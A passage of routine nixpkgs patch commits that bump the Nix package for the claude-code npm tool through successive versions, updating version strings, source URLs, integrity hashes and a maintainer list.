+      "integrity": "sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "LGPL-3.0-or-later",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "funding": {
+        "url": "https://opencollective.com/libvips"
+      }
+    },
     "node_modules/@img/sharp-libvips-linux-x64": {
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz",
@@ -119,6 +175,28 @@
         "@img/sharp-libvips-linux-arm": "1.0.5"
       }
     },
+    "node_modules/@img/sharp-linux-arm64": {
+      "version": "0.33.5",
+      "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.5.tgz",
+      "integrity": "sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==",
+      "cpu": [
+        "arm64"
+      ],
+      "license": "Apache-2.0",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/libvips"
+      },
+      "optionalDependencies": {
+        "@img/sharp-libvips-linux-arm64": "1.0.4"
+      }
+    },
     "node_modules/@img/sharp-linux-x64": {
       "version": "0.33.5",
       "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.5.tgz",
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 344b6f5f6f79..5557221badae 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.6";
+  version = "1.0.11";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-yMvx543OOClV/BSkM4/bzrbytL+98HAfp14Qk1m2le0=";
+    hash = "sha256-IXNBNjt4Sh5pR+Cz2uEZcCop9reAmQ7hObohtN0f3Ww=";
   };
 
-  npmDepsHash = "sha256-5QP6WQ2tXGADOID9QHq/m7sDQeQsoMGQWxORvQhVROg=";
+  npmDepsHash = "sha256-p5FQBBlMNcRBYKIkeeETyup5zKr2Rcxu/Jw+kFwQrHA=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 059b3cacd3ea26babe80191265e96e48744f3b7a Mon Sep 17 00:00:00 2001
From: seridescent <seridescent@gmail.com>
Date: Fri, 6 Jun 2025 18:27:04 -0400
Subject: [PATCH 3748/4511] claude-code: 1.0.11 -> 1.0.17

(cherry picked from commit 668252d1de48e989c79394ea20d44a3613165ab7)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 9 +++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index bb7e691f0784..fe46c0b39863 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -1,17 +1,18 @@
 {
   "name": "claude-code",
+  "version": "1.0.17",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.11"
+        "@anthropic-ai/claude-code": "^1.0.17"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.11",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.11.tgz",
-      "integrity": "sha512-ezYfkSxCiQjReJoBJkayTpzhWRWKmfEy6Ria2TdufBmDR7Kj/iP4IY10M5JOTgB8pw7XfjYpijgnomiFZmVRbg==",
+      "version": "1.0.17",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.17.tgz",
+      "integrity": "sha512-+MX/pKOKXG2HLSh7WJIgiILdumqRgcORUX0iSQmAfn+UEoHSYSuFWZWuWBpixaa8W4tiTCC06uN4pgzinCU6jw==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 5557221badae..7fe0b293e2b5 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.11";
+  version = "1.0.17";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-IXNBNjt4Sh5pR+Cz2uEZcCop9reAmQ7hObohtN0f3Ww=";
+    hash = "sha256-RxbsAehJ4zIt86ppmMB1MPg/XFrGWuumNdQbT+ytg8A=";
   };
 
-  npmDepsHash = "sha256-p5FQBBlMNcRBYKIkeeETyup5zKr2Rcxu/Jw+kFwQrHA=";
+  npmDepsHash = "sha256-tC0OyJ3t4i/CdqKUGIw5Wd9UiLYJECcbDi/suxim0/A=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 8419d07be27c69c93c679b35779a15d8abf304ba Mon Sep 17 00:00:00 2001
From: Malo Bourgon <mbourgon@gmail.com>
Date: Thu, 12 Jun 2025 10:56:37 -0700
Subject: [PATCH 3749/4511] claude-code: 1.0.17 -> 1.0.21

(cherry picked from commit f641d112103da0f0160ce8c22feb950c36872144)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index fe46c0b39863..a757e07002aa 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.17"
+        "@anthropic-ai/claude-code": "^1.0.21"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.17",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.17.tgz",
-      "integrity": "sha512-+MX/pKOKXG2HLSh7WJIgiILdumqRgcORUX0iSQmAfn+UEoHSYSuFWZWuWBpixaa8W4tiTCC06uN4pgzinCU6jw==",
+      "version": "1.0.21",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.21.tgz",
+      "integrity": "sha512-Ig+OPSl7e77SJrE2jB8p4qnnyS/+iGItttIxh0oxkZI3qSKu/K3Z7zx8r4YTDCo7XJsoYnV0MNsDBcXWa/YKUg==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 7fe0b293e2b5..889b655e11c1 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.17";
+  version = "1.0.21";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-RxbsAehJ4zIt86ppmMB1MPg/XFrGWuumNdQbT+ytg8A=";
+    hash = "sha256-CtNY7CduAg/QWs58jFnJ/3CMRpRKrJzD49Gqw7kSsao=";
   };
 
-  npmDepsHash = "sha256-tC0OyJ3t4i/CdqKUGIw5Wd9UiLYJECcbDi/suxim0/A=";
+  npmDepsHash = "sha256-Sll/rt4TjxjfD6qFnAu3SQxv8JIKvH0NJGO0zJd9xpk=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 31f1bca5af2fa224025e0c9109cc383ffde7539c Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Mon, 16 Jun 2025 11:18:49 +0200
Subject: [PATCH 3750/4511] claude-code: 1.0.21 -> 1.0.24

(cherry picked from commit e53b1743e65c76e970612f51972b7ee87e380729)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index a757e07002aa..f94bf3a4040b 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.21"
+        "@anthropic-ai/claude-code": "^1.0.24"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.21",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.21.tgz",
-      "integrity": "sha512-Ig+OPSl7e77SJrE2jB8p4qnnyS/+iGItttIxh0oxkZI3qSKu/K3Z7zx8r4YTDCo7XJsoYnV0MNsDBcXWa/YKUg==",
+      "version": "1.0.24",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.24.tgz",
+      "integrity": "sha512-4S6ly2297ngNlto7IFZeEicS9u0yRDhocOzndWFovGBb+iUoEPKdZa/rhVk/tcyCADL6S+mMkiGQOlqFDrN3JQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 889b655e11c1..4d99b4290fde 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.21";
+  version = "1.0.24";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-CtNY7CduAg/QWs58jFnJ/3CMRpRKrJzD49Gqw7kSsao=";
+    hash = "sha256-12nmnVM0/+rhWrkIQXttASKPZgGQMvrzWF/JDwR7If4=";
   };
 
-  npmDepsHash = "sha256-Sll/rt4TjxjfD6qFnAu3SQxv8JIKvH0NJGO0zJd9xpk=";
+  npmDepsHash = "sha256-0jrARMOuJCU5MEigk0iYspUUHCB6APbCxPpqcp+5ktA=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From a7ccbba71d7649d1826eff6b596a7804613463cb Mon Sep 17 00:00:00 2001
From: Omar Jatoi <git@omarjatoi.com>
Date: Wed, 18 Jun 2025 19:53:01 -0400
Subject: [PATCH 3751/4511] claude-code: add omarjatoi to maintainers

(cherry picked from commit 082e0967fc8b9cad006c01d3cb4e17b045bda7b0)
---
 pkgs/by-name/cl/claude-code/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 4d99b4290fde..81cffe83b047 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -40,7 +40,10 @@ buildNpmPackage rec {
     homepage = "https://github.com/anthropics/claude-code";
     downloadPage = "https://www.npmjs.com/package/@anthropic-ai/claude-code";
     license = lib.licenses.unfree;
-    maintainers = [ lib.maintainers.malo ];
+    maintainers = with lib.maintainers; [
+      malo
+      omarjatoi
+    ];
     mainProgram = "claude";
   };
 }

From 03f518f28e77d686f6ead565f1a3dcee32b04a4f Mon Sep 17 00:00:00 2001
From: Omar Jatoi <git@omarjatoi.com>
Date: Wed, 18 Jun 2025 15:10:01 -0400
Subject: [PATCH 3752/4511] claude-code: 1.0.24 -> 1.0.29

(cherry picked from commit 2cd4e1c09a2bc5cdedf38dfe19c04d5bd8a58cb2)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index f94bf3a4040b..f201f3d6f686 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.24"
+        "@anthropic-ai/claude-code": "^1.0.29"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.24",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.24.tgz",
-      "integrity": "sha512-4S6ly2297ngNlto7IFZeEicS9u0yRDhocOzndWFovGBb+iUoEPKdZa/rhVk/tcyCADL6S+mMkiGQOlqFDrN3JQ==",
+      "version": "1.0.29",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.29.tgz",
+      "integrity": "sha512-ZHw84ZJTxtG/jTLioTkF2ck+whQEKQvCrYvjP+nZnVFirOPV0QwpJyhKsdHFUufnbO4lqACs4dNNnhy0IlKTzQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 81cffe83b047..720ce5a6887f 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.24";
+  version = "1.0.29";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-12nmnVM0/+rhWrkIQXttASKPZgGQMvrzWF/JDwR7If4=";
+    hash = "sha256-IQnDrtHeK1F7+yKtPXvfhb6iZq6IKQsn8p7WY8s3jgg=";
   };
 
-  npmDepsHash = "sha256-0jrARMOuJCU5MEigk0iYspUUHCB6APbCxPpqcp+5ktA=";
+  npmDepsHash = "sha256-Lhzl/Wgvn42ODu18jd0CIuCXziSX25C9ec7yNxdPi2w=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From dac415dc75ed51f56abddf4761e86e0d9c610d6d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 10:41:26 +0000
Subject: [PATCH 3753/4511] claude-code: 1.0.29 -> 1.0.30

(cherry picked from commit 0b4a4ef878273847514546b3b1da024da6b94806)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index f201f3d6f686..68c9496e4b78 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.29"
+        "@anthropic-ai/claude-code": "^1.0.30"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.29",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.29.tgz",
-      "integrity": "sha512-ZHw84ZJTxtG/jTLioTkF2ck+whQEKQvCrYvjP+nZnVFirOPV0QwpJyhKsdHFUufnbO4lqACs4dNNnhy0IlKTzQ==",
+      "version": "1.0.30",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.30.tgz",
+      "integrity": "sha512-qIs92Cq3hFwn9/lZBta+wWJfGoQsrbFuiVm0bkurwGKxaJV69Ibr6hYfSU/lIKLcbvSygkZ/tWRxFQt44gnFhQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 720ce5a6887f..8897d36f7509 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.29";
+  version = "1.0.30";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-IQnDrtHeK1F7+yKtPXvfhb6iZq6IKQsn8p7WY8s3jgg=";
+    hash = "sha256-DwzSXpDrNV8FhfqrRQ3OK/LjmiXd+VHEW91jnyds2P4=";
   };
 
-  npmDepsHash = "sha256-Lhzl/Wgvn42ODu18jd0CIuCXziSX25C9ec7yNxdPi2w=";
+  npmDepsHash = "sha256-M6H6A4i4JBqcFTG/ZkmxpINa4lw8sO5+iu2YcBqmvi4=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From c99ab8c3d57dd1a3e6818ff3291d2417dbc9874b Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Tue, 24 Jun 2025 21:33:09 +0200
Subject: [PATCH 3754/4511] claude-code: 1.0.30 -> 1.0.33 (#419510)

(cherry picked from commit 8a152de8ba2619c41d8aa42a15158d523c0b6630)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 68c9496e4b78..b4ae2f17cca8 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.30"
+        "@anthropic-ai/claude-code": "^1.0.33"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.30",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.30.tgz",
-      "integrity": "sha512-qIs92Cq3hFwn9/lZBta+wWJfGoQsrbFuiVm0bkurwGKxaJV69Ibr6hYfSU/lIKLcbvSygkZ/tWRxFQt44gnFhQ==",
+      "version": "1.0.33",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.33.tgz",
+      "integrity": "sha512-rKQ1C0+iSV/bS4LVfyCt2FIkIc8MnFi5EbmRAXEunNkXLCQLHfXjsqx7cLOy7c11vZwGkyf/wEp5LwaDQHdjCQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 8897d36f7509..dcf8669225d9 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.30";
+  version = "1.0.33";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-DwzSXpDrNV8FhfqrRQ3OK/LjmiXd+VHEW91jnyds2P4=";
+    hash = "sha256-AH/ZokL0Ktsx18DrpUKgYrZKdBnKo29jntwXUWspH8w=";
   };
 
-  npmDepsHash = "sha256-M6H6A4i4JBqcFTG/ZkmxpINa4lw8sO5+iu2YcBqmvi4=";
+  npmDepsHash = "sha256-oHSePK/QiAHP+2Fn+yUf66TcRGCoZg3mrI4x7S/nbCc=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From c30799a79ba1ff2e0bd72320b0fc1e4c6b0ed4fd Mon Sep 17 00:00:00 2001
From: Paul Myjavec <pauly@myjavec.com>
Date: Thu, 26 Jun 2025 07:24:04 +0000
Subject: [PATCH 3755/4511] claude-code: 1.0.33 -> 1.0.35

(cherry picked from commit 4033bd5e6552b42f262c4efdf0df72671ae7a9f9)
---
 pkgs/by-name/cl/claude-code/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index dcf8669225d9..bbcf68864c39 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,13 +7,13 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.33";
+  version = "1.0.35";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-AH/ZokL0Ktsx18DrpUKgYrZKdBnKo29jntwXUWspH8w=";
+    hash = "sha256-Lt79XxHrgy6rPAHBf1QtwjsKnrZmsKFeVFOvHwN4aOY=";
   };
 
   npmDepsHash = "sha256-oHSePK/QiAHP+2Fn+yUf66TcRGCoZg3mrI4x7S/nbCc=";

From 9376fe68081b3f9963a116c4adfc2dc9ca886ec3 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 1 Jul 2025 09:40:47 +0200
Subject: [PATCH 3756/4511] claude-code: 1.0.35 -> 1.0.38

(cherry picked from commit 2b98432eab9f027eb7c373997895503e19575bee)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index b4ae2f17cca8..d3d947537b45 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.33"
+        "@anthropic-ai/claude-code": "^1.0.38"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.33",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.33.tgz",
-      "integrity": "sha512-rKQ1C0+iSV/bS4LVfyCt2FIkIc8MnFi5EbmRAXEunNkXLCQLHfXjsqx7cLOy7c11vZwGkyf/wEp5LwaDQHdjCQ==",
+      "version": "1.0.38",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.38.tgz",
+      "integrity": "sha512-hPZbJCt7O8T872wbCXGiwF210DzMBo/k3EVKB6EZQB10b73ZQIEflAWGTC2ZvBcMp79qAR4F6c82V0+Cc6o0sg==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index bbcf68864c39..27ae02b8d9d5 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.35";
+  version = "1.0.38";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-Lt79XxHrgy6rPAHBf1QtwjsKnrZmsKFeVFOvHwN4aOY=";
+    hash = "sha256-flG9VlnQfMfGFBbs6RdQKSbceD/Tke19Euo8znR5OG0=";
   };
 
-  npmDepsHash = "sha256-oHSePK/QiAHP+2Fn+yUf66TcRGCoZg3mrI4x7S/nbCc=";
+  npmDepsHash = "sha256-IOk/dPi43WqFb1mWC/48JMK5a8PeSHE2uKz+4qA3AYA=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 9b2586e361eb49e160b32a3cd6caef74ea662952 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 3 Jul 2025 12:53:29 +0200
Subject: [PATCH 3757/4511] claude-code: 1.0.38 -> 1.0.41

Changelog:
https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md#1041
(cherry picked from commit 5bc9bd32b7894eee908ae35f8b3df2dbc1540133)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index d3d947537b45..2f21cd67fdd5 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.38"
+        "@anthropic-ai/claude-code": "^1.0.41"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.38",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.38.tgz",
-      "integrity": "sha512-hPZbJCt7O8T872wbCXGiwF210DzMBo/k3EVKB6EZQB10b73ZQIEflAWGTC2ZvBcMp79qAR4F6c82V0+Cc6o0sg==",
+      "version": "1.0.41",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.41.tgz",
+      "integrity": "sha512-6E5SCb1I/pC4WCEFGwmyo4M4bL9vBuk7qkC78v9ZFX9PAxmKX94SEj422igdLeucBYX99ZqKSMYfsJEqTeIo2Q==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 27ae02b8d9d5..32f60a12b570 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.38";
+  version = "1.0.41";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-flG9VlnQfMfGFBbs6RdQKSbceD/Tke19Euo8znR5OG0=";
+    hash = "sha256-x8Bxh0iKqf8AsMQ+7zutSh53DbCRzM9s6s6BQkdbyXc=";
   };
 
-  npmDepsHash = "sha256-IOk/dPi43WqFb1mWC/48JMK5a8PeSHE2uKz+4qA3AYA=";
+  npmDepsHash = "sha256-LiCN8swT4ba+F1aMjHQqCsZUqcAW0qc4AiYL90Burk8=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 575530c8c4e0e1a484d5fa10e91c3b89a1d46a6f Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 5 Jul 2025 19:22:20 +0200
Subject: [PATCH 3758/4511] claude-code: 1.0.41 -> 1.0.43

Changelog:
https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 319928f32f2a9a4ff90f9949559936c505b689cf)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 2f21cd67fdd5..2514fcaf8e94 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.41"
+        "@anthropic-ai/claude-code": "^1.0.43"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.41",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.41.tgz",
-      "integrity": "sha512-6E5SCb1I/pC4WCEFGwmyo4M4bL9vBuk7qkC78v9ZFX9PAxmKX94SEj422igdLeucBYX99ZqKSMYfsJEqTeIo2Q==",
+      "version": "1.0.43",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.43.tgz",
+      "integrity": "sha512-VnuRK4s/R9ZRTkwH4gUjsp4SiBQXq7Y0B47OtgeXIZYVQYkhTW8m+E0IisFzXXFIyTQrE0SodGCpvgLhAYzGCg==",
